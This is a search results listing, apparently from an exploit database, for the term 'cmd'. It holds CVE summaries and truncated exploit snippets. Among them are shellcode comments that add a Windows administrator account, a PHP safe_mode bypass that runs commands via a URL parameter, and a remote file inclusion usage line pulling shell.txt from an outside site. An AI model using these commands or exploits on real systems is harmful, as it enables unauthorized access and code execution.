1182 matches found
CVE-2007-5673
CVE-2007-5673 is a confirmed cross-site scripting (XSS) vulnerability in the device’s web interface: specifically the cgi-bin/webif.exe component of the ifnet WebIf. The issue allows remote attackers to inject arbitrary web script or HTML via the cmd parameter, resulting in likely client-side scr...
Hack explore of browser execute exe files-bug warning-the black bar safety net
A: really can in the browser command file? The answer is Yes. But don't happy, can only be performed server-side, but is must be authorized. Otherwise the server think the Black you're too easy, who would dare to look at me, I just formatted who. Two: he is how to achieve. Is against the asp file...
CVE-2004-2732
nbmember.cgi in Netbilling 2.0 allows remote attackers to obtain sensitive information via the cmd=test option, which can be leveraged to determine the access key...
eCentrex VOIP Client module - uacomx.ocx 2.0.1 Remote Buffer Overflow
eCentrex VOIP Client module - uacomx.ocx 2.0.1 Remote Buffer Overflow 'metasploit one, 456 bytes - cmd /c net user su tzu /add & net localgroup Administrators su /add scode =...
ecentrex-overflow.txt
'metasploit one, 456 bytes - cmd /c net user su tzu /add & net localgroup Administrators su /add scode =...
Haudenschilt Family Connections 0.8 - index.php Authentication Bypass
Haudenschilt Family Connections 0.8 - index.php Authentication Bypass source: https://www.securityfocus.com/bid/25276/info Haudenschilt Family Connections is prone to an authentication-bypass vulnerability. Attackers can exploit this issue to gain unauthorized access. This may facilitate a...
To achieve no net. exe and net1. exe to add users of the system-vulnerability warning-the black bar safety net
We all know that in windows To add a user in the CMD with the net command to achieve Format:net user username password /add Means for adding a user name to username password for the password of the user If you want to add into the admin group can also use the following command to achieve net...
Cross site scripting
Cross-site scripting XSS vulnerability in webevent.cgi in WebEvent 2.61 through 4.03 allows remote attackers to inject arbitrary web script or HTML via the cmd parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...
PHP Safe_mode bypass exploit (win32service)
?php PHP Safemode bypass exploit win32service Note: Tested on 5.2.1 Author: NetJackal Email: nima501atyahoodotcom Website: http://netjackal.by.ru Usage: http://victim.net/nj.php?CMD=command $command=isset$GET'CMD'?$GET'CMD':'dir'; cammand $dir=iniget'uploadtmpdir'; Directory to store command's...
Pictures Rating (index.php msgid) Remote SQL Injection Vulnerbility
No description provided by source. --==+================================================================================+==-- --==+ Pictures Rating SQL Injection Vulnerbility +==-- --==+================================================================================+==-- AUTHOR: t0pP8uZz & xprog...
mycms-exec.txt
!/usr/bin/php -q -d shortopentag=on Thanks to rgod for the php code and Marty for the Love "; if $argcNo new score set"; elseif $score $data $file1 = "snakescore.txt"; $file2 = "snakesetby.txt"; $file1h = fopen$file1, 'w' or die"can't open file"; $file2h = fopen$file2, 'w' or die"can't open file"...
MyCMS <= 0.9.8 Remote Command Execution Exploit
Exploit for unknown platform in category web applications =============================================== MyCMS 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0;...
MyCMS 0.9.8 - Remote Command Execution (2)
!/usr/bin/php -q -d shortopentag=on Thanks to rgod for the php code and Marty for the Love "; if $argcNo new score set"; elseif $score $data $file1 = "snakescore.txt"; $file2 = "snakesetby.txt"; $file1h = fopen$file1, 'w' or die"can't open file"; $file2h = fopen$file2, 'w' or die"can't open file"...
Cmd mode under the invasion of technology Encyclopedia of Cmd,mode,intrusion,technical-vulnerability warning-the black bar safety net
Foreword Cmd Shellcommand line interactionis a hack eternal topic. It is historic and enduring. This article is intended to introduce and summarize some of the command line under control of the Windows System. These methods are as far as possible use the system comes with the tools to achieve. Fi...
Microsoft Internet Explorer 6 / Ademco co. ltd. ATNBaseLoader100 Module - Remote Buffer Overflow
'metasploit one, 456 bytes - cmd /c net user su tzu /add & net localgroup Administrators su /add SCODE =...
IE 6 / Ademco co. ltd. ATNBaseLoader100 Module Remote BoF Exploit
No description provided by source. !-- IE 6 / Ademco, co., ltd. ATNBaseLoader100 Module ATNBaseLoader100.dll 5, 4, 0, 6 remote buffer overflow exploit / XP SP2 it version by rgod site: retrogod.altervista.org this activex is installed browsing some webcam pages try this google dork:...
CVE-2007-2673
SQL injection vulnerability in includes/funcsvendors.php in Censura 1.15.04, and other versions before 1.16.04, allows remote attackers to execute arbitrary SQL commands via the vendorid parameter in a vendorinfo cmd action to censura.php...
CVE-2007-2673
SQL injection vulnerability in includes/funcsvendors.php in Censura 1.15.04, and other versions before 1.16.04, allows remote attackers to execute arbitrary SQL commands via the vendorid parameter in a vendorinfo cmd action to censura.php...
mxBB Module FAQ & RULES 2.0.0 - Remote File Inclusion
!/usr/bin/php -q -d shortopentag=on cmd: a shell command ls -la Options: -pport: specify a port other than 80 -Pip:port: specify a proxy Example: php '.$argv0.' localhost http://www.shellsite.com/shell.txt ls -la -P1.1.1.1:80 shell.txt:...
CVE-2007-2020
Unspecified vulnerability in administration.php in xodagallery allows remote attackers to execute arbitrary code via the cmd parameter. NOTE: CVE disputes this vulnerability because administration.php does not use the cmd parameter for inclusion...